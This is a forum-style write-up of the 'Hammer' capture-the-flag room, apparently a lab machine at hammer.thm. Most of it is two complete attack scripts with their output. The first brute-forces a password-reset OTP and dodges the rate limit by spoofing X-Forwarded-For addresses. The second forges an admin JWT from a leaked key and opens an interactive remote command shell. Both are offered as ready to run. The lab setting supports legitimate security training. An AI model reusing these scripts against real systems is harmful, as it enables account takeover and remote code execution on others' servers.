Hammer Discussion & Write-up

Let’s talk about Hammer.

Found the logs file and an email.

http://hammer.thm:1337/hmr_logs/error.logs

[Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/
[Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch

Bypass rate limit with X-Forwarded-For: 127.0.0.1 header

You can use this script to brute force the OTP code quickly. Don’t forget to change 'Cookie': 'PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxx', header as the cookie on your browser.

import aiohttp
import asyncio
import random

def generate_random_ip():
    return f"{random.randint(1, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 255)}"

async def send_request(session, code):
    url = 'http://hammer.thm:1337/reset_password.php'
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Connection': 'close',
        'Cookie': 'PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxx',
        'Upgrade-Insecure-Requests': '1',
        'X-Forwarded-For': generate_random_ip() 
    }
    data = {
        'recovery_code': str(code).zfill(4), 
        's': '162'
    }

    async with session.post(url, headers=headers, data=data) as response:
        text = await response.text()
        print(f"Code: {code}, Response: {len(text)}")

async def main():
    async with aiohttp.ClientSession() as session:
        tasks = []
        for i in range(0, 10000, 100): 
            for j in range(i, i + 100):
                tasks.append(send_request(session, j))
            await asyncio.gather(*tasks)
            tasks = [] 

asyncio.run(main())

Once the code is cracked, the response length will be changed. Then go back to the browser, reset the page and set a new password.

Code: 5548, Response: 2202
Code: 5549, Response: 2202
Code: 5550, Response: 2202
Code: 5551, Response: 2202
Code: 5552, Response: 2202
Code: 5554, Response: 2202
Code: 5553, Response: 2191
Code: 5575, Response: 2292
Code: 5555, Response: 2292
Code: 5556, Response: 2292
Code: 5557, Response: 2292
Code: 5558, Response: 2292
Code: 5559, Response: 2292
Code: 5560, Response: 2292
Code: 5561, Response: 2292
Code: 5562, Response: 2292
Code: 5563, Response: 2292
Code: 5585, Response: 2292
Code: 5564, Response: 2292
Code: 5565, Response: 2292

Nice challenge! A little bit of JWT experience is enough to craft tokens. You can learn more at CryptoHack – Crypto on the Web challenges

In addition, you can use the PyJWT library to create tokens.

Here’s an unauthenticated and unrestricted RCE script if you stuck on generating a token.

import requests, base64, hmac, hashlib, json, time, sys

if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} <URL>")
    print(f"Example: {sys.argv[0]} http://1.1.1.1:1337")
    sys.exit(1)

def base64_url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

def create_jwt(header, payload, secret):
    header_encoded = base64_url_encode(json.dumps(header).encode('utf-8'))
    payload_encoded = base64_url_encode(json.dumps(payload).encode('utf-8'))
    message = f'{header_encoded}.{payload_encoded}'.encode('utf-8')
    signature = hmac.new(secret.encode('utf-8'), message, hashlib.sha256).digest()
    signature_encoded = base64_url_encode(signature)
    jwt_token = f'{header_encoded}.{payload_encoded}.{signature_encoded}'
    return jwt_token

if __name__ == "__main__":
    header = {"alg": "HS256","typ": "JWT","kid":"/var/www/html/188ade1.key"}
    data = {"iss":"http://hammer.thm","aud":"http://hammer.thm","iat":int(time.time()),"exp":int(time.time()+10000),"data":{"user_id":1,"email":"tester@hammer.thm","role":"admin"}}
    secret = "56058354efb3daa97ebab00fabd7a7d7" # curl $URL/188ade1.key
    jwt_token = create_jwt(header, data, secret)
    url = f"{sys.argv[1]}/execute_command.php"
    cookies = {"PHPSESSID": "AAAAAAAAAAA", "token": jwt_token, "persistentSession": "yes"}
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/json", "Authorization": f"Bearer {jwt_token}", "X-Requested-With": "XMLHttpRequest", "Connection": "keep-alive",}
    while True:
        command = input("$ ")
        if command == "exit":
            break
        try:
            r = requests.post(url, headers=headers, cookies=cookies, json={"command": command})
            print(r.json()["output"])
        except Exception as e:
            print(e)

Works like a charm!

$ ls 
188ade1.key
composer.json
config.php
dashboard.php
execute_command.php
hmr_css
hmr_images
hmr_js
hmr_logs
index.php
logout.php
reset_password.php
vendor

$ whoami
www-data

$